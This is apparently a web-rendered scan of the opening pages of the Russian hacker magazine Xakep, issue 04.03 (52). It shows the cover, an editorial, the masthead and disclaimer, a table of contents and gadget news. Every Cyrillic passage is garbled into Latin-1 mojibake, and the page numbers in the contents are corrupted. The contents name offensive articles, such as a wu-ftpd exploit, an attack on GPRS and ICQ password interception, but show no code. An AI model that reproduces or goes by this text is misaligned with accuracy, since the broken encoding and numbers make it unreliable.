Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Æ Ó Ð Í À Ë Î Ò Ê Î Ì Ï Ü Þ Ò Å Ð Í Û Õ Õ Ó Ë È Ã À Í Î Â<br />
W W W . X À Ê Å Ð . R U<br />
Åñòü ëè æèçíü<br />
ïîä ÄÎÑ'îì?<br />
Êàê ïðåâðàòèòü<br />
386-é íîóòáóê<br />
â iPAQ<br />
Ïîäêëþ÷àåì<br />
äèñòàíöèîííîå<br />
óïðàâëåíèå...<br />
ê êîìïüþòåðó!<br />
ver 04.03 (52)<br />
ÍÎÂÀß ÐÓÁÐÈÊÀ!<br />
ËÀÌÀÐÀÇÌÛ ÕÀÊÅÐÀ<br />
INSIDE<br />
Ìû â ñåòÿõ!<br />
Ëîêàëüíûå<br />
è ãëîáàëüíûå<br />
ñåòè<br />
îïòîâîëîêíî<br />
õàáû<br />
ìîäåìû<br />
è ïðî÷èé<br />
òåëåêîììóíèêàöèîííûé<br />
stuff
+ÁÐÀÒÑÊÀß ÌÎÃÈËÀ+<br />
×òî åñòü ðåàëüíîñòü? Òî, ÷òî òû âèäèøü? Äåðüìî ñîáà÷üå.<br />
Òû ïîñòîÿííî âèäèøü ôèëüìû ñî ñïåöýôôåêòàìè è ðåêëàìó<br />
ïî òåëåâèäåíèþ, îò êîòîðîé ïðîñòî âîíÿåò ôàëüøüþ.<br />
Òî, ÷òî òû ñëûøèøü? Íåóæåëè òû è âïðàâäó âåðèøü,<br />
÷òî Êèðêîðîâ ïîåò òàêèì ãîëîñîì, ïðûãàÿ êàê ìîëîäîé êîçëèê<br />
ïî ñöåíå è ïîòåÿ êàê ìûøü?<br />
Òå çàïàõè, ÷òî òû ÷óâñòâóåøü? ß ãîòîâ ïîñïîðèòü ñ òîáîé íà ñîòíþ áàêñîâ, ÷òî ïðèíåñó òåáå<br />
20 ïóçûðüêîâ ñ çàïàõàìè íàñòîÿùèõ öâåòîâ, íî íè îäíîãî öâåòêà â ïóçûðüêå íå îêàæåòñÿ.<br />
Òî, ÷òî òû ìîæåøü ïîùóïàòü? Íåóæåëè õîëîä èñêóññòâåííîãî ëüäà, ñîáðàííîãî<br />
èç îïðåäåëåííûõ õèìè÷åñêèõ ýëåìåíòîâ, òåáå êàæåòñÿ ïðèíåñåííûì ñ ñåâåðà?<br />
×òî åñòü ðåàëüíîñòü? Òû çàñûïàåøü âå÷åðîì è ïðîæèâàåøü àáñîëþòíî<br />
åñòåñòâåííóþ æèçíü çà 8 ÷àñîâ. Òû îáùàåøüñÿ, ðîæäàåøüñÿ, óìèðàåøü,<br />
òðàõàåøüñÿ ñ äåâóøêîé ñâîåé ìå÷òû, òû ìîæåøü äàæå áûòü æåíùèíîé<br />
(îõ, íàäåþñü, òàêèå ñíû òåáÿ íå ñíÿòñÿ :)), è âñå ýòî - áëåô. Èëè íåò?<br />
Êàê îòëè÷èòü ðåàëüíîå îò íåðåàëüíîãî? Ìîæåò, âî ñíå òû è ïðîæèâàåøü<br />
ñâîþ íàñòîÿùóþ æèçíü, à áîäðñòâóÿ, òû âñåãî ëèøü èñïîëíÿåøü<br />
óêàçàíèÿ êàêîãî-òî êóêëîâîäà?<br />
Äà, ÿ çíàþ, ñåé÷àñ ðîìàíòè÷åñêèå äåâî÷êè íà÷íóò îáçûâàòü ìåíÿ<br />
öèíèêîì, íî... ×òî åñòü ëþáîâü? Ýëåêòðè÷åñêèå èìïóëüñû â êîðå<br />
òâîåãî ãîëîâíîãî ìîçãà. ×òî åñòü âêóñ? Õèìè÷åñêàÿ ðåàêöèÿ<br />
ðàçëè÷íûõ ýëåìåíòîâ òàáëèöû Ìåíäåëååâà íà ðåöåïòîðàõ òâîåãî<br />
ÿçûêà. ×òî åñòü âèäåíèå? Ïðåîáðàçîâàíèå ñâåòîâûõ ëó÷åé<br />
è ñïåêòðà â ýëåêòðè÷åñêèå ñèãíàëû äëÿ çðèòåëüíîãî íåðâà.<br />
Ìîæåò, ïîðà ñåðüåçíî çàíÿòüñÿ èçó÷åíèåì ôèçèêè è õèìèè?<br />
Ïðèÿòíîãî ÷òåíèÿ,<br />
SINtez,<br />
èçäàòåëü Õ<br />
INTRO<br />
/ÐÅÄÀÊÖÈß<br />
>Ãëàâíûé ðåäàêòîð<br />
Àëåêñàíäð «2poisonS»<br />
Ñèäîðîâñêèé<br />
(2poisonS@real.xakep.ru)<br />
>Ðåäàêòîðû ðóáðèê<br />
ÂÇËÎÌ<br />
Èâàí «CuTTer» Ïåòðîâ<br />
(cutter@real.xakep.ru)<br />
PC_ZONE<br />
Ìèõàèë «M.J.Ash» Æèãóëèí<br />
(m.j.ash@real.xakep.ru)<br />
UNIXOID<br />
Àðòåì «Cordex» Íàãîðñêèé<br />
(cordex@real.xakep.ru)<br />
>Ðåäàêòîð CD<br />
Íèêîëàé «AvaLANche» ×åðåïàíîâ<br />
(avalanche@real.xakep.ru)<br />
>Ëèòåðàòóðíûé ðåäàêòîð<br />
Ìàðèÿ Àëüäóáàåâà<br />
(litred@real.xakep.ru)<br />
/ART<br />
>Àðò-äèðåêòîð<br />
Êèðèëë Ïåòðîâ «KROt»<br />
Äèçàéí-ñòóäèÿ «100%ÊÏÄ »<br />
(kerel@real.xakep.ru)<br />
>Äèçàéíåðû<br />
Àëèê Âàéíåð «Jmurik»<br />
(alik@real.xakep.ru)<br />
/INET<br />
>WebBoss<br />
Ñêâîðöîâà Àëåíà<br />
(Alyona@real.xakep.ru)<br />
>Ðåäàêòîð ñàéòà<br />
Ëåîíèä Áîãîëþáîâ<br />
(xa@real.xakep.ru)<br />
/PR<br />
>PR ìåíåäæåð<br />
Ãóáàðü ßíà<br />
(yana@gameland.ru)<br />
/ÐÅÊËÀÌÀ<br />
>Ðóêîâîäèòåëü îòäåëà<br />
Èãîðü Ïèñêóíîâ<br />
(igor@gameland.ru)<br />
>Ìåíåäæåðû îòäåëà<br />
Áàñîâà Îëüãà<br />
(olga@gameland.ru)<br />
Êðûìîâà Âèêòîðèÿ<br />
(vika@gameland.ru)<br />
Åìåëüÿíöåâà Îëüãà<br />
(olgaeml@gameland.ru)<br />
Ðóáèí Áîðèñ<br />
(rubin@gameland.ru)<br />
òåë.: (095) 935.70.34<br />
ôàêñ: (095) 924.96.94<br />
/PUBLISHING<br />
>Èçäàòåëü<br />
Ñåðãåé Ïîêðîâñêèé<br />
(pokrovsky@gameland.ru)<br />
>Ó÷ðåäèòåëü<br />
ÎÎÎ «Ãåéì Ëýíä»<br />
>Äèðåêòîð<br />
Äìèòðèé Àãàðóíîâ<br />
(dmitri@gameland.ru)<br />
>Ôèíàíñîâûé äèðåêòîð<br />
Áîðèñ Ñêâîðöîâ<br />
(boris@gameland.ru)<br />
/ÎÏÒÎÂÀß ÏÐÎÄÀÆÀ<br />
>Ðóêîâîäèòåëü îòäåëà<br />
Âëàäèìèð Ñìèðíîâ<br />
(vladimir@gameland.ru)<br />
>Ìåíåäæåðû îòäåëà<br />
Àíäðåé Ñòåïàíîâ<br />
(andrey@gameland.ru)<br />
Ñàìâåë Àíòàøÿí<br />
(samvel@gameland.ru)<br />
òåë.: (095) 935.70.34<br />
ôàêñ: (095) 924.96.94<br />
>Òåõíè÷åñêèé äèðåêòîð<br />
Ñåðãåé Ëÿíãå<br />
(serge@gameland.ru)<br />
/ÄËß ÏÈÑÅÌ<br />
101000, Ìîñêâà,<br />
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />
magazine@real.xakep.ru<br />
http://www.xakep.ru<br />
Çàðåãèñòðèðîâàíî<br />
â Ìèíèñòåðñòâå Ðîññèéñêîé<br />
Ôåäåðàöèè<br />
ïî äåëàì ïå÷àòè,<br />
òåëåðàäèîâåùàíèþ<br />
è ñðåäñòâàì ìàññîâûõ<br />
êîììóíèêàöèé<br />
ÏÈ ¹ 77-11802<br />
îò 14 ôåâðàëÿ 2002 ã.<br />
Îòïå÷àòàíî â òèïîãðàôèè<br />
«ScanWeb», Ôèíëÿíäèÿ<br />
Òèðàæ 75 000 ýêçåìïëÿðîâ.<br />
Öåíà äîãîâîðíàÿ.<br />
Ìíåíèå ðåäàêöèè<br />
íå îáÿçàòåëüíî ñîâïàäàåò<br />
ñ ìíåíèåì àâòîðîâ.<br />
Ðåäàêöèÿ óâåäîìëÿåò:<br />
âñå ìàòåðèàëû â íîìåðå<br />
ïðåäîñòàâëÿþòñÿ êàê<br />
èíôîðìàöèÿ ê<br />
ðàçìûøëåíèþ. Ëèöà,<br />
èñïîëüçóþùèå äàííóþ<br />
èíôîðìàöèþ<br />
â ïðîòèâîçàêîííûõ öåëÿõ,<br />
ìîãóò áûòü ïðèâëå÷åíû<br />
ê îòâåòñòâåííîñòè.<br />
Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />
îòâåòñòâåííîñòè íå íåñåò.<br />
Ðåäàêöèÿ íå íåñåò<br />
îòâåòñòâåííîñòè<br />
çà ñîäåðæàíèå ðåêëàìíûõ<br />
îáúÿâëåíèé â íîìåðå.<br />
Çà ïåðåïå÷àòêó íàøèõ<br />
ìàòåðèàëîâ áåç ñïðîñà -<br />
ïðåñëåäóåì.
42/X-News<br />
44/Hack-FAQ<br />
46/Êàê ýòî áûâàåò íà<br />
ñàìîì äåëå<br />
5500/Àòàêà íà GPRS<br />
554/Ýêñïëîèò ïîä wu-ftpd<br />
558/Ettercap: çëîáîäðîì<br />
â òâîåé ëîêàëêå<br />
6600/Â ïîèñêàõ ýêñïëîèòîâ<br />
664/Âçëîì Java àïïëåòîâ<br />
74/Delphi äëÿ êà÷êîâ<br />
78/Ñàìîðàñïðîñòðàíÿþùèåñÿ<br />
ôàéëû ïîä Linux<br />
800/Íîâîñòíîé äâèæîê:<br />
âûðàæàéñÿ ðåãóëÿðíî!<br />
82/Ïåðåõâàò ICQ ïàðîëåé<br />
Tips&&Tricks<br />
24/Åñòü ëè æèçíü ïîä ÄÎÑ'îì?<br />
266/Ìîáèëüíûé êîôå<br />
300/Ïîäêëþ÷àåì äèñòàíöèîííîå<br />
óïðàâëåíèå<br />
334/Ìûëüíûå ïðîöåññîðû<br />
338/Ñìîòðè - íå ïðîñìîòðè!<br />
400/Õàêåðû 80-õ: Ðîæäåíèå ÷åðâÿ<br />
Âåäóùèé ðóáðèêè Tips&Tricks Èâàí<br />
Ñêëÿðîâ (Sklyarov@real.xakep.ru).<br />
Ïðèñûëàé ìíå ñâîè òðþêè è ñîâåòû è,<br />
âîçìîæíî, òû óâèäèøü èõ íà ñòðàíèöàõ<br />
][. Â êîíöå ãîäà ñàìûé àêòèâíûé<br />
ó÷àñòíèê ïîëó÷èò 100$. Êó÷ó èíòåðåñíûõ<br />
ñîâåòîâ, íå âîøåäøèõ â æóðíàë, ñìîòðè<br />
íà íàøåì ñàéòå http://www.xakep.ru.<br />
Ðåäàêöèÿ æóðíàëà è âåäóùèé ðóáðèêè íå<br />
íåñóò îòâåòñòâåííîñòè çà ñîâåòû,<br />
êîòîðûå ÷èòàòåëè äàþò äðóã äðóãó ;).<br />
004/HiTech News<br />
08/HardNews<br />
12/Ìûøèíûå êîðîëè<br />
18/Ïîãðóæåíèå: Àêóñòèêà Genius<br />
SW-5.1 Home Theater<br />
200/Ìû â ñåòÿõ!<br />
68/Ïîñëåäíèé îòñ÷åò<br />
72/WineX: Ïðîäîëæàåì èãðàòü â Ëèíóêñå<br />
866/Çàë ñóäà<br />
992/ØàðîWAREZ<br />
9966/WWW<br />
98/FAQ<br />
1002/¸-mail<br />
104/Õóìîð<br />
1008/Ëàìàðàçìû<br />
110/X-Puzzle<br />
112/Áîðäà<br />
Íüþñû<br />
Ôåððóì<br />
Inside<br />
PC_Zone<br />
Âçëîì<br />
Þíèêñîèä<br />
Êîäèíã<br />
Þíèòû
HiTech_News<br />
Àëåêñ Öåëûõ (News@real.xakep.ru)<br />
ÏÐÎÒÅÇ ÌÎÇÃÀ<br />
4 Íüþñû<br />
ÓÌÍÛÉ ÁÞÑÒÃÀËÜÒÅÐ<br />
Ó÷åíûå àâñòðèéñêîãî óíèâåðñèòåòà èçîáðåëè "óìíûé" áþñòãàëüòåð, ïîçâîëÿþùèé äåâóøêàì<br />
âñåãäà âûãëÿäåòü ïîäòÿíóòûìè. Âî âðåìÿ ýíåðãè÷íûõ äåéñòâèé, íàïðèìåð, ïðè áåãå è ïðûæêàõ,<br />
âñòðîåííàÿ ïîìïà ïðèäåðæèâàåò "ìÿ÷èêè". Êîãäà äåâóøêà ñïîêîéíà, õâàòêà áþñòãàëüòåðà<br />
îñëàáåâàåò. Äåâàéñ ïðîñòî íåçàìåíèì äëÿ ïðîôåññèîíàëüíûõ ñïîðòñìåíîê è ëþáèòåëüíèö<br />
ôèòíåñà.  äîïîëíåíèå ê íîâèíêå îíè ìîãóò ïðèîáðåñòè ìèíèàòþðíûé ïîëóàâòîìàòè÷åñêèé<br />
íàñîñ è óæå íà óñìîòðåíèå íåíàãëÿäíîãî äåñÿòü ðàç íà äåíü èçìåíÿòü îáúåì ñâîåé ãðóäè.<br />
ÁÀÍÎ×ÊÀ Ñ ÈÍÒÅÐÍÅÒÎÌ<br />
Ïóñòûå áàíêè èç-ïîä ñîáà÷üèõ êîíñåðâîâ íàèëó÷øèì îáðàçîì ïîäõîäÿò äëÿ îðãàíèçàöèè äîñòóïà â<br />
èíòåðíåò ïî ðàäèîìîäåìó. Ê òàêîìó âûâîäó ïðèøåë èçîáðåòàòåëüíûé àíãëè÷àíèí Äýâèä Òýéëîð, ñîãíóâøèé<br />
îäíó èç æåñòÿíîê â ñàìîäåëüíóþ àíòåííó. Óñîâåðøåíñòâîâàííûé ñòîëü ëþáîïûòíûì îáðàçîì áåñïðîâîäíîé<br />
ïåðåäàò÷èê, ñàìûé ìàëîìîùíûé è äåøåâûé èç òåõ, ÷òî áûëè â ïðîäàæå, îáåñïå÷èë îòëè÷íîå êà÷åñòâî ñâÿçè íà<br />
ðàññòîÿíèè â 3 êì. Èñïîëüçîâàíèå æåñòÿíîê èç-ïîä äðóãèõ ïðîäóêòîâ - "âèñêàñà" è ñóõîãî ìîëîêà - íå ïðèíåñëî<br />
âïå÷àòëÿþùèõ ðåçóëüòàòîâ. Îíè â ìåíüøåé ñòåïåíè óñèëèâàëè ðàäèîñèãíàë, à ãëàâíîå - ðæàâåëè.<br />
 Øòàòàõ èçîáðåëè ïðîòåç ãîëîâíîãî ìîçãà. Âåðíåå, åãî âàæíåéøåãî îòäåëà - ãèïîêàìïà. Ýòà ÷àñòü îòâå÷àåò çà íàøó ïàìÿòü,<br />
ñîçíàíèå è íàñòðîåíèå.  îòëè÷èå îò ñóùåñòâîâàâøèõ ðàíåå ñòèìóëÿòîðîâ, êðåìíèåâûé ÷èï ïîëíîñòüþ êîïèðóåò áèîëîãè÷åñêèå<br />
ôóíêöèè âñåãî îòäåëà. Äëÿ ñîçäàíèÿ ïðîòåçà ó÷åíûå ñíà÷àëà ïîñòðîèëè ìàòåìàòè÷åñêóþ ìîäåëü ãèïîêàìïà ïîäîïûòíûõ êðûñ. Ñâÿçü<br />
ìèêðî÷èïà ñ ìîçãîì íàëàäèëè ïðè ïîìîùè ýëåêòðîäîâ. Ñåé÷àñ ìèêðîñõåìà, èìïëàíòèðóåìàÿ â ÷åðåïíóþ êîðîáêó, ïîíèìàåò<br />
ìèëëèîíû âíåøíèõ ðàçäðàæèòåëåé è çíàåò "ñèñòåìó êîäîâ" ãîëîâíîãî ìîçãà. Ðàáîòû ïî ñîçäàíèþ ïðîòåçà âåëèñü áîëåå 10 ëåò.<br />
ÄÅÐÅÂßÍÍÎÅ "ÆÅËÅÇÎ"<br />
Àìåðèêàíñêàÿ êîìïàíèÿ Wood Contour<br />
(www.woodcontour.com) ïðåäñòàâèëà ëþáîïûòíåéøóþ ëèíåéêó<br />
êîìïüþòåðíûõ àêñåññóàðîâ èç äåðåâà. Íà ñåãîäíÿøíèé äåíü<br />
êîëëåêöèÿ âêëþ÷àåò â ñåáÿ ìûøü, êëàâèàòóðó è êîðïóñ äëÿ<br />
æèäêîêðèñòàëëè÷åñêîãî ìîíèòîðà. Ïî æåëàíèþ çàêàç÷èêà<br />
âîçìîæíû âàðèàíòû èñïîëíåíèÿ èç öåëüíîãî êðàñíîãî äåðåâà,<br />
âèøíè, áóêà èëè äóáà. Ðàáîòà ðó÷íàÿ, ïîýòîìó êàæäîå èçäåëèå<br />
óíèêàëüíî. Êîìïàíèÿ íàïîìèíàåò, ÷òî äåðåâî íàìíîãî<br />
äîëãîâå÷íåå è èçÿùíåå ïëàñòìàññû. Äëÿ ñîõðàíåíèÿ<br />
ïåðâîçäàííîãî ëîñêà äîñòàòî÷íî ïåðèîäè÷åñêè ïðîòèðàòü<br />
ïîâåðõíîñòü áàðõîòêîé ñ ïîëèðîëüþ äëÿ ìåáåëè. Ñòîèìîñòü<br />
äóáîâîé îïòè÷åñêîé ìûøè - 100 äîëëàðîâ. Çà ïîëíûé ñåò<br />
èçäåëèé ïðèäåòñÿ âûëîæèòü îêîëî 3 òûñÿ÷.<br />
ÑÈÌÓËßÒÎÐ ÏÐßÌÎÉ ÊÈØÊÈ<br />
Áåëüãèåö Óèì Äåëüâîéå ñîçäàë ðîáîòèçèðîâàííóþ àðò-èíñòàëëÿöèþ "Ñèìóëÿòîð<br />
ïèùåâîãî òðàêòà". "Êëîàêà" âûñòàâëåíà â Íîâîì ìóçåå Íüþ-Éîðêà. Äâàæäû â äåíü àâòîð<br />
÷åðåç âîðîíêó äåìîíñòðàòèâíî çàêëàäûâàåò â òåðìîÿäåðíóþ êîíñòðóêöèþ äîáðîòíûé îáåä<br />
èç ïåðâîãî, âòîðîãî è äåñåðòà. Ïèùà ïðîõîäèò ÷åðåç ñïåöèàëüíóþ ìÿñîðóáêó è ïî<br />
ñòåêëÿííîìó ïèùåâîäó ïîïàäàåò â èñêóññòâåííûé æåëóäîê. Çìååîáðàçíûå òðóáêè<br />
ìåäëåííî çàêà÷èâàþò åå â øåñòü ñòåêëÿííûõ ñîñóäîâ, ãäå ïèùà ðàçëàãàåòñÿ ïîä<br />
âîçäåéñòâèåì ýíçèìîâ è íàñòîÿùåãî æåëóäî÷íîãî ñîêà. Åùå ÷åðåç íåñêîëüêî ÷àñîâ â<br />
áîëüøîé ýìàëèðîâàííûé ãîðøîê ïîä ïðîçðà÷íûì êîëïàêîì âûâàëèâàþòñÿ... ýêñêðåìåíòû.<br />
Ñîçäàíèå ìàøèíû îáîøëîñü â 200 òûñÿ÷ äîëëàðîâ, íî ÷èñëî æåëàþùèõ ïîñìîòðåòü, êàê<br />
ðîáîò "õîäèò ïî-áîëüøîìó", ñ ëèõâîé îêóïèëî âñå çàòðàòû.<br />
1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ÍÅÏÐÈÊÀÑÀÅÌÛÅ<br />
Ñêàíäèíàâñêàÿ êîìïàíèÿ Handy-fashions.com<br />
ïðåäñòàâèëà ãàðäåðîá äëÿ ïàðàíîèêîâ. È æèëåò,<br />
è êåïêà, è øàðô ïðåäíàçíà÷åíû äëÿ çàùèòû îò<br />
âðåäíîãî èçëó÷åíèÿ ìîáèëüíèêîâ. Äëÿ èõ<br />
ïðîèçâîäñòâà èñïîëüçóåòñÿ ñïåöèàëüíàÿ<br />
àíòèðàäèàöèîííàÿ òêàíü. Òîëüêî ñèíèé êàðìàí íà<br />
ñåðåáðèñòîé æèëåòêå âûïîëíåí èç îáû÷íîé -<br />
÷òîáû òåëåôîí áåñïðåïÿòñòâåííî ïðèíèìàë<br />
ñèãíàë. Ó êåïêè ïî áîêàì ðàñïîëîæåíû<br />
îòñòåãèâàåìûå çàùèòíûå êëàïàíû. À â øàðô<br />
ãèãàíòñêèõ ðàçìåðîâ è âîâñå ìîæíî ïåëåíàòü<br />
ìëàäåíöåâ. Ñòîèìîñòü ïîëíîãî çàùèòíîãî<br />
êîìïëåêòà îêîëî 300 äîëëàðîâ.<br />
USB-ÃÐÅËÊÀ<br />
 ßïîíèè íàáëþäàåòñÿ<br />
íàñòîÿùèé áóì èíòåðåñà ê äàëåêèì<br />
îò êîìïüþòåðà èçäåëèÿì ñ USBèíòåðôåéñîì.<br />
Íàïðÿæåíèå â 5 âîëüò<br />
óæå èñïîëüçóåòñÿ äëÿ ïèòàíèÿ<br />
ïîñòåëüíîé ãðåëêè è ÷àøêè äëÿ ÷àÿ ñ<br />
ïîäîãðåâîì. Ãàäæåòû èìåþò<br />
íåñãîðàåìîå ïîêðûòèå. Ñïåöèàëüíûé<br />
äàò÷èê îòâå÷àåò çà ïîääåðæàíèå<br />
ïîñòîÿííîé òåìïåðàòóðû. Äëèíà<br />
USB-øíóðà - ïîëòîðà ìåòðà.<br />
Ïîñëåäíèìè íà âèòðèíàõ ÿïîíñêèõ<br />
ìàãàçèíîâ ïîÿâèëèñü ìèíèàòþðíûå<br />
USB-âåíòèëÿòîðû è çóáíûå ùåòêè.<br />
Áîðîòüñÿ ñ êàðèåñîì, íå îòõîäÿ îò<br />
ìîíèòîðà, ìîæíî âñåãî çà 11<br />
äîëëàðîâ.<br />
ÀÒËÀÍÒ Ñ ÏÀËÅÖ<br />
Èñïàíñêèå ó÷åíûå ñêîíñòðóèðîâàëè ðîáîòèçèðîâàííûé ïàëåö, äâèãàþùèé ïðåäìåòû ïî ïîâåðõíîñòè ñòîëà. "Óìíàÿ"<br />
êîíå÷íîñòü èçãîòîâëåíà èç ïîëèïèððîëà - ïîëèìåðà, êîòîðûé ïîäîáíî ìóñêóëàì ñïîñîáåí ñîêðàùàòüñÿ ïðè ïðîõîæäåíèè<br />
÷åðåç íåãî ýëåêòðè÷åñêîãî òîêà. Ïàëåö ÷óâñòâóåò âåñ ïðåäìåòà è ñîîáðàçíî ðàñõîäóåò ñèëû.  èòîãå, ÷óãóííûé óòþã áóäåò<br />
äâèãàòüñÿ ñ òàêîé æå ñêîðîñòüþ, ÷òî è êóñîê ïîðîëîíà.<br />
ÏÀËÜÖÅÌ Â ÐÎÒ<br />
Êîìïàíèÿ Dental Dots (www.dentaldots.com) ïðåäñòàâèëà îðèãèíàëüíóþ àëüòåðíàòèâó<br />
çóáíîé ùåòêå. Ïðåäëàãàåòñÿ ïðèêëåèòü íà ïîäóøå÷êó ïàëüöà ñïåöèàëüíûå "çóáíûå êðóæî÷êè"<br />
è äðàèòü èìè âî ðòó. Íà ùåòèíó çàðàíåå íàíåñåíà ìÿòíàÿ ïàñòà, ÷òî äåëàåò ïðîöåäóðó<br />
ïðèâû÷íîé.  îáùåì, êîãäà ùåòêè ïîä ðóêîé íåò, î÷åíü äàæå óäîáíî. Íàäïèñü íà óïàêîâêå<br />
óâåðÿåò, ÷òî åñëè è ïðîãëîòèøü èíñòðóìåíò, òî ñàìîãî ñòðàøíîãî íå ñëó÷èòñÿ. Êîìïëåêò èç 6<br />
"çóáíûõ êðóæêîâ" ñòîèò áåç ìàëîãî 2 äîëëàðà.<br />
ÀÐÎÌÀÒÍÛÅ ÍÎÑÊÈ<br />
 Àíãëèè ðàçðàáîòàëè òåõíîëîãèþ ïðîèçâîäñòâà àðîìàòíîé îäåæäû. Íîó-õàó ïîçâîëÿåò<br />
ââîäèòü â âîëîêíà òêàíè ðåïåëëåíòû îò íàñåêîìûõ, îñâåæèòåëè âîçäóõà, àðîìàòû ïàðôþìà è äàæå<br />
âèòàìèíû. Íàïðèìåð, äëÿ ñïîðòèâíûõ êîñòþìîâ ïðåäëàãàåòñÿ èñïîëüçîâàòü ýôôåêò îõëàæäåíèÿ.<br />
Ñ ýòîé öåëüþ â òêàíü äîáàâëÿþòñÿ ÷àñòèöû ìåíòîëà. Äëÿ ðóáàøåê àêòóàëüíà çàùèòà îò çàïàõà<br />
òàáàêà. Êóðòêè áóäóò îòïóãèâàòü êðîâîæàäíûõ ìîñêèòîâ. È, íàêîíåö, íîñêè - èñòî÷àòü àðîìàòû<br />
öâåòîâ. Ïðîïèòêà òêàíè ñîõðàíÿåòñÿ, êàê ìèíèìóì, íà 30 ìàøèííûõ ñòèðîê.<br />
ÑÊÎËÜÇÈÌ ÏÎ ÑÓÕÎÌÓ<br />
Íàêîíåö êòî-òî ïîçàáîòèëñÿ î ëþáèòåëÿõ ñóõîãî áðèòüÿ! Braun ïðåäñòàâèëà FreeGlider - ñòèëüíóþ<br />
ýëåêòðîáðèòâó íîâîãî ïîêîëåíèÿ. Åå óíèêàëüíîñòü - â àâòîìàòè÷åñêîì íàíåñåíèè íà êîæó óâëàæíÿþùåãî<br />
ëîñüîíà è âèòàìèíîâ. FreeGlider íàäåæíî çàùèùàåò êîæó îò ìèêðîñêîïè÷åñêèõ ïîâðåæäåíèé, ïðè ýòîì<br />
ñáðèâàåò àáñîëþòíî âñå âîëîñêè. Ñìåííûå êàðòðèäæè ñ ëîñüîíîì ïðîäàþòñÿ îòäåëüíî. Îäíîãî õâàòàåò íà<br />
15 ïðîöåäóð. Ïëàâàþùàÿ ãîëîâêà, ðàáîòà îò àêêóìóëÿòîðà è âîçìîæíîñòü ìûòü áðèòâó ïîä ñòðóåé âîäû - âñå<br />
ýòî ïîçâîëÿåò ïîéìàòü íàñòîÿùèé êàéô îò ñóõîãî áðèòüÿ.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 5
HiTech_News<br />
Àëåêñ Öåëûõ (News@real.xakep.ru)<br />
ÎÒÌÀÇÊÀ ÄËß ÁÎÑÑÀ<br />
 óíèâåðñèòåòå Êàðíåãè Ìýëëîí âåäåòñÿ<br />
ðàçðàáîòêà "óìíîãî" òåëåôîíà ñ ôóíêöèÿìè<br />
ñåêðåòàðÿ. Îí ñàì äîãàäûâàåòñÿ, êîãäà õîçÿèí<br />
çàíÿò è âåæëèâî ïðîñèò îñòàâèòü ñîîáùåíèå íà<br />
àâòîîòâåò÷èêå. Äåâàéñ áðàêóåò àáîíåíòîâ òîëüêî<br />
ïîñëå òîãî, êàê ïðîàíàëèçèðóåò èíôîðìàöèþ èç<br />
íåñêîëüêèõ èñòî÷íèêîâ. Ñ ýòîé öåëüþ â òåëåôîí<br />
âñòðîåí ñòåðåîìèêðîôîí, íåáîëüøàÿ âèäåîêàìåðà<br />
è ðÿä ñåíñîðîâ. Ê ñèòóàöèÿì, êîãäà ðàçãîâîð<br />
íåâîçìîæåí, ðîáîò îòíîñèò íåðàáî÷åå âðåìÿ<br />
ñóòîê, ñêàíäàëüíûå èíòîíàöèè â áåñåäå ñ äðóãèì<br />
÷åëîâåêîì, îòêðûòóþ äâåðü êàáèíåòà è íåðâíûé<br />
ñòóê ïî êëàâå.  îáùåì ñëó÷àå âûáèðàþòñÿ ñàìûå<br />
âàæíûå è áåçîøèáî÷íûå êðèòåðèè îöåíêè<br />
îáñòàíîâêè. Âñòðîåííîå ïðîãðàììíîå îáåñïå÷åíèå<br />
ëåãêî îáó÷àåòñÿ, íàáëþäàÿ çà ïîâåäåíèåì áîññà.<br />
6 Íüþñû<br />
ÄÈÑÊÎ ÍÀ ÑÒÎËÅØÍÈÖÅ<br />
ËÞÁÎÏÛÒÍÀß "ÌÓÕÀ"<br />
1<br />
ÐÎÁÎÒ-Ó×ÅÍÈÊ<br />
Êàíàäñêàÿ êîìïàíèÿ Telbotics (www.telbotics.com) ïðåäñòàâèëà<br />
ïåðâîãî â ìèðå ðîáîòà-ó÷åíèêà. Òåïåðü çàÿäëûå ïðîãóëüùèêè, à<br />
òàêæå þííàòû, ïðîïóñêàþùèå øêîëó ïî óâàæèòåëüíîé ïðè÷èíå,<br />
ìîãóò äèñòàíöèîííî ïðèñóòñòâîâàòü íà óðîêàõ. Íà ñàìîì äåëå PEB-<br />
BLES ñîñòîèò èç äâóõ ðîáîòîâ-áëèçíÿøåê, ñâÿçàííûõ ïî êàíàëàì<br />
ISDN, DSL èëè T1. Îäèí ðîáîò íàõîäèòñÿ â êëàññå, äðóãîé - äîìà<br />
èëè ó áîëüíè÷íîé êîéêè. PEBBLES ðàáîòàåò íà Pentium IV ïîä<br />
Windows NT. Ðîáîò áîäðî ïåðåäâèãàåòñÿ íà êîëåñàõ. À áëàãîäàðÿ<br />
ìîíèòîðó è ìèíèàòþðíîé êàìåðå íà ðàñêëàäíîì øòàòèâå, äàæå<br />
çàêîâàííûå â ãèïñ ñëûøàò è âèäÿò âñå, ÷òî ïðîèñõîäèò íà óðîêå. Ñ<br />
ãåéìïàäà ó÷åíè÷êè ìîãóò "êðóòèòü ãîëîâîé", ìàñøòàáèðîâàòü<br />
èçîáðàæåíèå è äàæå ïîäíèìàòü ìåõàíè÷åñêóþ ðóêó, ÷òîáû<br />
âûçâàòüñÿ ê äîñêå. Âñòðîåííûé ñêàíåð ïîçâîëÿåò ñäàòü íà ïðîâåðêó<br />
äîìàøíåå çàäàíèå. Äëÿ ýòîãî íóæíî "ñêîðìèòü" ëèñòîê â áàðàáàí.<br />
Íà òîì êîíöå ïðîâîäà ó÷èòåëü ïðèìåò ôàêñ. Îòëè÷íîå êà÷åñòâî<br />
çâóêà îáåñïå÷èâàþò áåñïðîâîäíîé ìèêðîôîí è ñòåðåîäèíàìèêè.  íàñòîÿùåå âðåìÿ èíæåíåðû<br />
Telbotics ñîâåðøåíñòâóþò ñâîþ ðàçðàáîòêó, ÷òîáû íà ïåðåìåíàõ PEBBLES ìîã ñâîáîäíî âûåçæàòü çà<br />
ïðåäåëû êëàññà è îðãàíèçîâûâàòü íåïðèíóæäåííîå îáùåíèå "îòøåëüíèêà" ñî ñâîèìè ñâåðñòíèêàìè.<br />
ÐÎÁÎÒ-ÊÓÐÈËÜÙÈÊ<br />
